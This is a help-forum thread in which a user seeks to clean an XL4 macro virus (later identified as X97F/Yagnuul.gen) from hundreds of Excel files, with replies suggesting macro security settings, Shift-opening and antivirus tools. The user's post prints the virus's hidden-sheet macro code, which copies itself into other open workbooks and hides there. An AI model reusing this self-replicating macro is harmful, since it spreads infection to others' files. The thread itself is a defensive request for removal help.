• Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 1087
  • Last Modified:

help me to kill a macro in excel files

I have some very important excel files and they are infected with a macro that make me into trouble. I try to use some anti virus programs but it's not help me. Some programs do not know the macro and other killed my files.

Please help me to kill the virus with out effect my files, I have about 800 excel files

My file has only some text but its size so big, and it has a hidden sheet with the following code

*** Khoi dau ***            *** Dong lai ***            *** Doan macro sao chep ***      TRUE      ~        
ERROR(FALSE;$E$3)            ERROR(FALSE;$E$3)            ERROR(FALSE;$E$3)      BID FORM 2.xls      BID FORM 2.xls
=ECHO(FALSE)            WORKBOOK.HIDE("["&$G$2&"]"&$G$1;FALSE)            =FOR("_Count",1,COLUMNS(DOCUMENTS()))            
=SET.VALUE($G$2,GET.DOCUMENT(88))            =RUN($E$2)            =SET.VALUE($F$1,FALSE)            
=WORKBOOK.HIDE($G$1,FALSE)            WORKBOOK.HIDE("["&$G$2&"]"&$G$1;TRUE)            =SET.VALUE($F$2,"")            
=SAVE.COPY.AS("LuuNgay" & TEXT(TODAY(),"dd-mm-yyyy") & GET.DOCUMENT(88))                        =SET.VALUE($F$3,"")            
*** Virus nay chep sao luu file bi nhiem                        SheetName=INDEX(GET.WORKBOOK(1,BookName),__Count)            
vao thu muc hien hanh voi ten LuuNgay                        =IF(SheetName="["&BookName & "]" &$G$1)            
va ngay duoc luu                        =SET.VALUE($F$1,TRUE)            
*** Day la virus co loi                        =END.IF()            
*** Ta rat ghet nhung virus pha hoai                        =NEXT()            
nguoi khac                                    
                        =WORKBOOK.COPY("["&$G$2&"]" & $G$1,BookName)
                        =WORKBOOK.HIDE("["&BookName & "]" &$G$1,TRUE)
            =RETURN()            =END.IF()
=RETURN()                        =NEXT()

Here is a sample file


Thanks so much
1 Solution
Dushan De SilvaCommented:
In Excel We can allow to run only signed trusted Macros.

Tools --> Macro --> Security --> Select "High"

BR Dushan
tamyeuAuthor Commented:
If i do so i can not open the my file.

My request is that clean the macro and make the file smaller.

Please help me.
try this.. should alleviate most problems with your macros.


Independent Software Vendors: We Want Your Opinion

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

tamyeuAuthor Commented:
Maybe it's not the answer, because its code is written in old fomat not VBA, the code is writen on the sheet of the files, you can download my sample

I tried the Codecleaner but it could not help.

Thanks for your answer, please help me.

Can't you open your file with the shift key pressed? That way no auto_open macro will run, and you should be able to unhide and kill the XL4 macro sheet.

Hope this helps.

tamyeuAuthor Commented:
I tried to do so but  it made the file error further more  it's difficult for me do it manually because i have over 800 excel files.

error message here

Help me, help me please
tamyeuAuthor Commented:
Ok, the answer is Mcafee, thanks all for help
tamyeu, can you answer the following pls

what was the virus?
did mcafee successfully remove all instances of it?
were you using any antivirus beforehand - was it using up-to-date definitions?

tamyeuAuthor Commented:
The virus name is X97F/Yagnuul.gen
yes, Mcafee removed successfully
before using Mcafee i used Bitdefender, kaspersky, Nod32, BKV... some programs did not know the virus and other do not know anything. Finally i used Mcafee 2007 trial version and it's successful
PAQed with points refunded (500)

EE Admin

Featured Post

Prep for the ITIL® Foundation Certification Exam

December’s Course of the Month is now available! Enroll to learn ITIL® Foundation best practices for delivering IT services effectively and efficiently.

Tackle projects and never again get stuck behind a technical roadblock.
Join Now